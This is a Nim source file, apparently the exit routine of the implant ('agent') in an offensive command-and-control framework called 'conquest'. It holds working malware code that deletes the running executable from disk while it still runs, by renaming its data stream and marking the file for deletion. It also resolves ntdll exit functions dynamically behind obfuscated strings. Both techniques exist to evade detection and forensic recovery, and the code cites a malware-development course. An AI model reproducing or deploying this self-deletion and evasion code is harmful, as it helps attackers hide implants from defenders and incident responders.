Files
conquest/src/agent/core/exit.nim
2025-10-31 16:59:10 +01:00

84 lines
3.4 KiB
Nim

import winim/lean
import strutils, strformat, random
import ../utils/io
import ../../common/[types, utils]
type
RtlExitUserThread = proc(exitStatus: NTSTATUS): VOID {.stdcall.}
RtlExitUserProcess = proc(exitStatus: NTSTATUS): VOID {.stdcall.}
FILE_RENAME_INFO2* = object
Flags*: DWORD
RootDirectory*: HANDLE
FileNameLength*: DWORD
FileName*: array[MAX_PATH, WCHAR]
FILE_DISPOSITION_INFO_EX* = object
Flags*: DWORD
const
RAND_MAX = 0x7FFF
FILE_DISPOSITION_FLAG_DELETE = 0x00000001 # https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/ntddk/ns-ntddk-_file_disposition_information_ex
FILE_DISPOSITION_POSIX_SEMANTICS = 0x00000002
fileDispositionInfoEx* = 21 # https://learn.microsoft.com/en-us/windows/win32/api/minwinbase/ne-minwinbase-file_info_by_handle_class
#[
Delete own executable image from disk.
- https://maldevacademy.com/modules/72
]#
proc deleteSelfFromDisk*() =
let newStream = +$(fmt":{uint(rand(RAND_MAX)):x}{uint(rand(RAND_MAX)):x}") # Convert to wString
var
szFileName: array[MAX_PATH * 2, WCHAR]
fileRenameInfo2: FILE_RENAME_INFO2
fileDisposalInfoEx: FILE_DISPOSITION_INFO_EX
hLocalImgFile: HANDLE = INVALID_HANDLE_VALUE
# Initialize fileRenameInfo
fileRenameInfo2.FileNameLength = cast[DWORD](newStream.len() * sizeof(WCHAR))
fileRenameInfo2.RootDirectory = 0
fileRenameInfo2.Flags = 0
for i in 0 ..< newStream.len():
fileRenameInfo2.FileName[i] = newStream[i]
# Get full file name of the executable
if GetModuleFileNameW(0, cast[LPWSTR](addr szFileName[0]), MAX_PATH * 2) == 0:
raise newException(CatchableError, GetLastError().getError())
hLocalImgFile = CreateFileW(cast[LPCWSTR](addr szFileName[0]), DELETE or SYNCHRONIZE, FILE_SHARE_READ or FILE_SHARE_WRITE or FILE_SHARE_DELETE, NULL, OPEN_EXISTING, 0, 0)
if hLocalImgFile == INVALID_HANDLE_VALUE:
raise newException(CatchableError, GetLastError().getError())
if SetFileInformationByHandle(hLocalImgFile, fileRenameInfo, addr fileRenameInfo2, cast[DWORD](sizeof(FILE_RENAME_INFO2))) == FALSE:
raise newException(CatchableError, GetLastError().getError())
CloseHandle(hLocalImgFile)
hLocalImgFile = CreateFileW(cast[LPCWSTR](addr szFileName[0]), DELETE or SYNCHRONIZE, FILE_SHARE_READ or FILE_SHARE_WRITE or FILE_SHARE_DELETE, NULL, OPEN_EXISTING, 0, 0)
if hLocalImgFile == INVALID_HANDLE_VALUE:
raise newException(CatchableError, GetLastError().getError())
fileDisposalInfoEx.Flags = FILE_DISPOSITION_FLAG_DELETE or FILE_DISPOSITION_POSIX_SEMANTICS
if SetFileInformationByHandle(hLocalImgFile, fileDispositionInfoEx, addr fileDisposalInfoEx, cast[DWORD](sizeof(FILE_DISPOSITION_INFO_EX))) == FALSE:
raise newException(CatchableError, GetLastError().getError())
CloseHandle(hLocalImgFile)
proc exit*(exitType: ExitType = EXIT_PROCESS, selfDelete: bool = false) =
let hNtdll = GetModuleHandleA(protect("ntdll"))
if selfDelete: deleteSelfFromDisk()
case exitType:
of ExitType.EXIT_PROCESS:
let pRtlExitUserProcess = cast[RtlExitUserProcess](GetProcAddress(hNtdll, protect("RtlExitUserProcess")))
pRtlExitUserProcess(STATUS_SUCCESS)
of ExitType.EXIT_THREAD:
let pRtlExitUserThread = cast[RtlExitUserThread](GetProcAddress(hNtdll, protect("RtlExitUserThread")))
pRtlExitUserThread(STATUS_SUCCESS)
else: discard